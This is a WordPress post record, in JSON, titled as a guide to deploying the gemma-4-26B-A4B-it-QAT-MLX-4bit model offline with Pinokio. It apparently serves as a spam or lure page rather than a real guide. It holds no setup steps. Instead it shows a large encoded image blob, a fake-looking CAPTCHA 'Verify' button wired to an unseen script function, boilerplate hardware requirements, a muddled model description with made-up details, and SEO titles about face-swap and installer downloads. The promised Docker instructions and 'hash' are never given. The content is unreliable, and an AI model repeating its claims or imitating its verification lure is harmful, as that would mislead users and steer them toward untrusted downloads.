{"id":3982,"date":"2026-07-01T01:45:04","date_gmt":"2026-06-30T17:45:04","guid":{"rendered":"https:\/\/radar-fillingmachine.com\/?p=3982"},"modified":"2026-07-01T01:45:04","modified_gmt":"2026-06-30T17:45:04","slug":"deploy-gemma-4-26b-a4b-it-qat-mlx-4bit-using-pinokio-offline-setup","status":"publish","type":"post","link":"https:\/\/radar-fillingmachine.com\/es\/deploy-gemma-4-26b-a4b-it-qat-mlx-4bit-using-pinokio-offline-setup\/","title":{"rendered":"Deploy gemma-4-26B-A4B-it-QAT-MLX-4bit Using Pinokio Offline Setup"},"content":{"rendered":"<p><img decoding=\"async\" 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r1PeaquekZwH23ZS047zDZdd4wX3UBRp6j484PN4YAZJ+ios1vcgnzkYmW72\/732qVDFB2PhtF2tJNkm5MAnEfgsn\/570icImP1v9+KfLQxjBTyX4yBS3sEPCT\/xS3+TSZrlk5khMMFyNZX+\/bDiX9t6DkwLndjxQux2+rKJ3hsRj+36zWs7S9mZQGhNzY2Hd2\/IPzjarCdAK2x2OnUcfGFj8R+sO9xA1f1\/wAHDfSbk5xTyGsEIPG58pYkuCd1B5K+8iou7zdsTgJKrVRizShg+yeA6m7KGETR4Mq+RZc7YNwKItBfwqTKSZvYwOVvFfFFYzfkE2Gpsq3yFjkxk0JlFDYwEDjLLyYTziSDCOeffsIs1uIZ8d9NbVpIec7kJdTD2wgdt92oEUlZHkuWPcByA+dkBlUtfTR9WdJMjjYViAeM0agtRmTh3dfHgdW+un66O7SCNYG7h7aXVwLW+mNrzi6rteCCodluHrL0U3E2fDttympOCSWAKCywaT2NDib2gaOOJ\/h+judcXYmVo2lNGoLeajt\/2WMEngOD381NGCknfUeIDVPnsAzmfiwW1vTW6bvWp+sQ+6raihTWw6YQvvXMHDHyMr+HNR1gmpE7VkI7OvumIEDWFedhOY5rlHuzamac06Mp4WQ\/8I1lTwA0dnUEJ5PYA5pnmFuCBFcWJiIY22d06\/OI6U4KBBezisHsDNPWKZ0BS\/\/C5Q0rjWxD7AxMQ41kD+iHByw9\/gZG4TNLyh8dBbWxZ63ZOMK6nQHxxVjgf5oVUH4PVL6ezV1zrR+juOwYtgqngUnmU5H5l+t7umF9LG22OJRuFYK3X5ZWxJ2HkIGldfqlPCbHtwj\/v43RZ5dr+8UuDgJjRK2vVhcHs5yuK0xOwrhlm3S2Jce6qdpACACi5idzsdz6aRt6C95PZVYsC80Rr7UcU2Y3fZinUf6qer5DJihR+tY3QzgfptLFd1i3DTXxKTvwIRuGPXvcLUfkiqLopm5cHRM2rWLpmHMM06Z5EyPmk1\/9s05Vh5EJsEqYGjTHIa4cYrPLK\/N9qFXHwBEspx729Ajf2RLxH8X9JBqX\/YbtQlHuf4IIlw5lijQSrqV0O5FS6p4ax1T9ECOrmZIPkyIZsHnv8C9YCFbatl6g9DsN5nD5Rh\/MV3QIMFYhQKqJKCThT7pgRUq6Bb7uW1yZP6exMa6QOpU+INzvFAj570WvX3v8LQ5ceDacqHNOkyjcRlU3jzUv4XFB7EzRqC4aXYMEqyY+nJvhA0mpeGK2nuJdCO903i4KoXdSGSaz0ATzMmFcwo91r5CtG17AZC5ENr\/xrSEskpn3SyMC5zm9euXuzGLUlWdAIuAwVnus1KYe1cMUDMn\/16XWwbT2IWjnhDdASBiAZvlY3ogzLQ6+yujngttabzhh1PBCJDRQEY74eaW7a5UTczF\/AXN9\/\/lkIigwns2+6GjXH6HybotYMl96rS49rYLiXih0L0kV28kSin5ty9G7qT22HCKrLenEb6UQp9wqnNFmrBnCRtq8nkFHuYcv4bw9YGrwFD+tLelxaQhXTIwUS39OD8uWN7WYRr7AiwJqjj\/xNWlbTSWyzq\/SJwKUN52F3bm9qON8xecKkVUQrVUjNZkeTvFLWWeFgGa+gb1rztBDbR0DFndo3TtkR1At+aj7hpWcE4c\/IgFWjHzvBiEzqezSc5sE7k6Z07f\/HtbcjwWYFV4ObA+hAXcyNZJDTpHObfeiBPCeyPem3tt2RvNpZISO7WL+6\/Ulb\/CkXPZgm4+MUlmBc9DAgWmLmG7y3bO0NlUL6n2hfN9204FvGzb4J2qN2M19i5Vdzkg5YnJjUEBo3\/EfHve53YREpqg5nc\/r1y\/DmSmVsVy2tMMC4urrDIwFsAjYhWgzYFXhAJtt1IiXWAS+TOEbJXCz3JYU86o77cnU\/Bjjw7+mKS5iYKMZFpRyYsyKmheKkV0YLTDEmLfFjZ+tBYKieTF2mg5J5i5Lg7zLHZHAZ7yMmu9m2ch8dGU7T+lFPzHo+cUmRb\/9TFaDyRbZLLj0NZtcrAG9UxSa8d1T7B2Uklucz59S3L3pI+gS8vKFAICu67s\/k9jcIjvT5fclh5RXIlOrXpF\/kLNE4GTaZZ2bLkd32NZHrx8PFSFAaXJUEUlcIDcEYEaxOnEClxGEbCqbNpmK2htyoh7f\/5of8dtAEuNe4xB7LBt8VO0uGLKo\/jMqBkOCqPaA5z0KkfMWTvXkjZnMoNoXUKcBOQPULKjrHx7DrPtV\/u+WEU7ir0kvOv8mU3+ON8S8ml+VutgOPiGdU5I8QzGX8zF1HDeYfOyvWhX\/QqFxUsXXVnIaHl8APwPRAFy4qLvCh8\/UZvW\/t9krqcA3I+N2o1ntH8WaMx1NUSsyk\/cEgca1lyBePJhfS75V+IHZ9pzbG5tdKq7TEuAYAVOua4QWAweEl+vR9J3g7m8ZUkf19zGOaOUNibfa4H+CCuORtBhPYxPFoI0734hBMOy9Sir+OXP8jrfLT1UsNHQYT50kFwpb9U2CEroges0RBNIH4BBN3Wbq\/BOPvkhohO0kmZBsFJ9YASBaNC2v2kJk3DlKDN2vcUfXaVOnScGqYcb26exAovtr7DFMekyIKCIMqEqKXu3PIsDOHwUVUTWWDpW+pY14V55cPLw45q8Su4ZzFTGUZn2M\/1+vzHW0Qz6n3DvoAnRYVUOTaMuz21nS0hvnHHaK1tC1nRgCPmzkbeRoK\/Bqwxb4s897KidF0yYb+35NDrAysziXTNSbSDtMAeLZuucUwhwhGMexgCyZAnmK1JpN4Txk+xPMyluBuVSdqOnGQjzE7Se36ssDA6V79Wmy3uuBTEKq2lXuFw3mvozU0QSPrZ3noBhDLsKE4MdhfV3kfRTkuG7y\/bIjCSmf6cpb0o\/Dbxt2m4Lzh3fhU9oqnavIsLN+KfvoAcXU+RwYlqDc\/xF8uPUyNMaNmGrdlPY4SG0FYcBRHoZ5wMW1s0mF9t3lNtjkwHsSwlRsrR1EOLWt8lo52zqgz+kGrDyqasv+F9pWUstcATyRPMDmDfBQylYFw2y0QDZFxZngmhDK8Ua2\/Wpu7VFwcU7vdxBBtFcanppjdqRt3eJD8jodbCcfqXA5J2JrUy1LFxUShGUVtDEHo2V86GBN+B1Vns+02BgIT+x+VygyJn+5W0\/f676dLvAv1K24tc0u3FATk2F6S3uWiYQw0Kfds9rK8OFD447hBGPnGIXhBfai9Rk6X+NnqRN4kIp7oXksOw4AZVqUnMtj2zR+2XMxP0QWlQKOy2AY4rdJvm6zoUjlwJAy+9YlYwfnUjoT2g9EhQOLoE5UhGcOs+2FChIjCcjrRFZqW3kramnJgYhDa7112ax9Fuvs+ZDf7VS1J0Dn+OS5mQEr0sCRqHcWbZfG3DK6bBWV\/uA0XU00neS6YoekMKgfp0HVp6CvZVSjDPM0ZbzU9uu82+lEx4hCzjc9OCXVlEWMKBqT4CNswZLfJU04l4X6Yptj7UnC3QirN5VNJGJ3ixXqQG\/rhoKDep5KCUyYxGWQICALf8SnAtjx+uCFkMrfL8qHOwKrvVL3qPtrZA37JcC\/8JUKrc3xm9coWEObNEX3aXZQZa\/lzyZXtDEzIpIP+UOAQcDGdjpc2f18VcJF6Ppw3tHPuCudoMp7wx+TFRJV6D+5bpF3bbDrXNBMncvlo9Y6Q1vc7+0zOF+OPjv55FRqAaqREILZq6Uzg\/V+zTRYmEc1v3je7kyMzm4Ko3gx35MAi\/WZ3k6+Ag\/ByxSmmqqjcHAlsczgODRKPjN8xEXdastIxrjgIVJxKw7L47FoeZwe2cFajZrE96W0xBSy3nv8f24sD2N2Lkqe9AuwTR1G1FiVrayGr44NbnAfPFHIHiqMZtevTwAJU3u9pEuJe58+V0I91lwiu8kJy5jUGzgdcb714wIUAZ1OVNzKkCOyKpRNr1sLIBNiCsjrgm59S7GU1rS0K\/200ITDtPFGabsJNQv6vKh3sqPPf0aZnYQXwdi1LKEoqDwJOe6XgWtjo3FxeU0bxymVEqnDcJ8u6krwT\/fwPm4SV1kGwJsE\/QTtcH8apt0MJkZsDyTxmrIAGTq1YKnkNFaTp0nVNrOMQ9wUt3sGFKSmxmFMVL+sQvzBFME2wEqIJnHGJ4Bn+fjL6gUQkqBNe0oIz+80D9IS9I\/FM4LtDzd\/hEy258t4kcYLHIW5DciseC1veyj9Q9\/Ce8Pm2byhfvi\/ZfofBlf9Pr+bP3XhZdxzl2Ukpd5P3A\/QWvF+aosVRgQy3Ul9HlGrFaQMrkpI2YCdoFkL\/cUnQi3qs4fzMgTuv\/rlp7YiMLYidtLX8DsT5brBmTXkXgeBkwz7W5d8OuKV+HbWoFN2sFMza68D7C9eaBIyVub97s8IU7QYiMy7l+3Tlwb0dLU8mwVDDrgOBRKoVP24dOFdWit1+uI51xC5EFRXRMPvP1WIhHJFQbIGXXziYMQQmWzTud6dAqOKWuuNFTMJTGEX2Wu33OIvFhz\/KqaBFiG\/f2BVhB0jiOpONUNMEsbsz2hBrYYj9FqeOglCCihaVPyc6VVc+oG2JcRiEp2cM55Qnsw6\/oDhmJyQMQuKrS\/Ys9TX5LullOiKohmCK2+s82oVPNZFZgnH5\/JmCeDZIB+WHRcb0tD5gljPhn0uyxtKzf32hUVMZJNIoUcavCRtfje+y\/YPP4A7Sd5QL1VeALnsRPLnHgga8FPvW390ibfGi+kvtg7s56I3PuxixWv8Nu1UL+t\/3S3OhIYHsb3RGkltref8v4CidTNZOIVMt45EpnUZQB1Lahu+Vkkkr2GnDaThIvML4T2S8Oa\/7RqaxOhFlbyr+QUcWLiRIQXPhJPll4JFHO3aha41zFmFTIOsgaNBlQIn\/IuswWpl5pVpKU9na2q1Pf1hbMw6FMXCUxPV6FQnRfye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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:24px;padding-left:19px;margin-left:0;\">\n<li><strong>CPU:<\/strong> multi-threading <strong>optimized<\/strong> for fast prompt processing<\/li>\n<li><strong>RAM:<\/strong> fast <strong>5600MHz+<\/strong> required to avoid memory bottlenecks<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><strong>Graphic Processor:<\/strong> hardware <strong>Tensor Cores<\/strong> support needed for FP16 acceleration<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p><b>gemma-4-26B-A4B-it-QAT-MLX-4bit<\/b> is a large language model built on the Gemma architecture with <b>26 billion parameters<\/b> and optimized for <i>instruction following<\/i>. It leverages <b>A4B<\/b> design principles to improve inference efficiency while maintaining high fidelity in generation tasks. Through <b>quantized aware training (QAT)<\/b> and <b>MLX<\/b> optimizations, the model achieves compact <b>4\u2011bit<\/b> representation without significant loss in <i>accuracy<\/i>. The resulting model excels in multilingual understanding, reasoning, and code generation, making it suitable for both research and production environments. Its reduced memory footprint enables deployment on consumer hardware and edge devices, broadening accessibility for developers. A quick reference of its core specs is provided below.  <\/p>\n<table>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>26\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Quantization<\/b><\/td>\n<td>4\u2011bit QAT with MLX<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Downloader pulling compact executive summary models for processing local file archives<\/li>\n<li>How to Install gemma-4-26B-A4B-it-QAT-MLX-4bit Locally (No Cloud) Step-by-Step<\/li>\n<li>Script downloading advanced face-swapping weights for offline cinematic post-processing<\/li>\n<li>gemma-4-26B-A4B-it-QAT-MLX-4bit For Low VRAM (6GB\/8GB) FREE<\/li>\n<li>Installer deploying local face restoration scripts and pre-trained assets<\/li>\n<li>How to Deploy gemma-4-26B-A4B-it-QAT-MLX-4bit PC with NPU<\/li>\n<\/ul>\n<p><a href='https:\/\/nkdclearing.com\/category\/excel\/'>https:\/\/nkdclearing.com\/category\/excel\/<\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>The most efficient approach for a local installation is leveraging Docker containers. Use the instructions provided below to complete the setup. The framework seamlessly downloads the massive neural network binaries. The program scans your VRAM and RAM to seamlessly apply optimal configurations. \ud83d\uddc2 Hash: 08bf56f57ab97b49209120a05d86a461 \u2022 Last Updated: 2026-06-25 Verify CPU: multi-threading optimized for fast [&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[97],"tags":[],"class_list":["post-3982","post","type-post","status-publish","format-standard","hentry","category-wrappers"],"_links":{"self":[{"href":"https:\/\/radar-fillingmachine.com\/es\/wp-json\/wp\/v2\/posts\/3982","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/radar-fillingmachine.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/radar-fillingmachine.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/radar-fillingmachine.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/radar-fillingmachine.com\/es\/wp-json\/wp\/v2\/comments?post=3982"}],"version-history":[{"count":1,"href":"https:\/\/radar-fillingmachine.com\/es\/wp-json\/wp\/v2\/posts\/3982\/revisions"}],"predecessor-version":[{"id":3983,"href":"https:\/\/radar-fillingmachine.com\/es\/wp-json\/wp\/v2\/posts\/3982\/revisions\/3983"}],"wp:attachment":[{"href":"https:\/\/radar-fillingmachine.com\/es\/wp-json\/wp\/v2\/media?parent=3982"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/radar-fillingmachine.com\/es\/wp-json\/wp\/v2\/categories?post=3982"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/radar-fillingmachine.com\/es\/wp-json\/wp\/v2\/tags?post=3982"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}